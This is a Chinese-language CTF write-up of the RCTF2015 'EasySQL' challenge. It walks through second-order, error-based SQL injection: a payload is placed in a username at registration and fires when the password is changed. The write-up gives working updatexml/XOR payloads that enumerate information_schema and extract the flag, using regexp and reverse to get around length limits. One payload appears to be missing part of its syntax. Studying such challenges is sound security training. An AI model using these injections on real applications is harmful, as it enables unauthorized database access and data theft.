[[RCTF2015]EasySQL

对于本题,二次注入,就是先注入,后执行,第一次注册用户名的时候,把注入语句放进去,再修改密码的时候,它会执行我们的SQL语句,产生报错信息,即成功。

注册的时候:

1
test"^updatexml(1, concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))), 1)#

异或注入,在本题中,就是指,前面test”是0,只要后面查询到,整体就是1,就通过,所以可以报错。

image-20220321212633607

查询出表明有flag,再查询列名

1
test"^1, concat(0x7e, (select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))), 1)

结果查出一个假的flag。

image-20220321212810191

那我们也看一下这个flag字段中有什么:

1
test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

image-20220321213307130

于是我们断定,剩余的flag在user表中!

img

果然!

1
test"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)#

image-20220321214047932

但是输出上述内容,应该是长度限制

我们用正则表达式的函数

1
regexp('^f')

我们来看一下REGEXP正则表达式

1
mysql> SELECT name FROM person_tbl WHERE name REGEXP '^st';

查找name字段中以’ok’为结尾的所有数据:

1
mysql> SELECT name FROM person_tbl WHERE name REGEXP 'ok$';

查找name字段中包含’mar’字符串的所有数据:

1
mysql> SELECT name FROM person_tbl WHERE name REGEXP 'mar';

查找name字段中以元音字符开头或以’ok’字符串结尾的所有数据:

1
mysql> SELECT name FROM person_tbl WHERE name REGEXP '^[aeiou]|ok$';

于是最后用正则表达式查找

1
test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

也就是查找出所有以f开头的字符串。

image-20220321214229294

如何爆出另一半呢?

1
reverse()

将select查询出的内容进行reverse处理即可!